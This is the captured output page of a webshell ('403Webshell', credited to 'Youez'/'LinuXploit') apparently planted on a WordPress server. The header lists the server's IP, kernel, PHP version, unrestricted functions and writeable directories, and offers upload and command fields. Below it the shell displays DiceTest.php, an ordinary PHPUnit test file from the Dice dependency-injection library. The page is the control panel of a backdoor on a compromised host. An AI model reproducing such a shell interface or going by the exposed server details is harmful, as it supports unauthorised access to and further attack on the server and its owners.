403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/presto-player/vendor/level-2/dice/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/presto-player/vendor/level-2/dice/tests/DiceTest.php
<?php
/* @description Dice - A minimal Dependency Injection Container for PHP *
 * @author Tom Butler tom@r.je *
 * @copyright 2012-2018 Tom Butler <tom@r.je> | https:// r.je/dice.html *
 * @license http:// www.opensource.org/licenses/bsd-license.php BSD License *
 * @version 3.0 */
abstract class DiceTest extends \PHPUnit\Framework\TestCase {
	protected $dice;

	public function __construct() {
		parent::__construct();
	//	spl_autoload_register(array($this, 'autoload'));

		//Load the test classes for this test
		$name = str_replace('Test', '', get_class($this));
		require_once 'tests/TestData/Basic.php';

		if (file_exists('tests/TestData/' . $name . '.php')) {
			require_once 'tests/TestData/' . $name . '.php';
		}
	}

	public function autoload($class) {
		//If Dice Triggers the autoloader the test fails
		//This generally means something invalid has been passed to
		//a method such as is_subclass_of or dice is trying to construct
		//an object from something it shouldn't.
		$this->fail('Autoload triggered: ' . $class);
	}

	protected function setUp(): void {
		parent::setUp ();
		$this->dice = new \Dice\Dice();
	}

	protected function tearDown(): void {
		$this->dice = null;
		parent::tearDown ();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit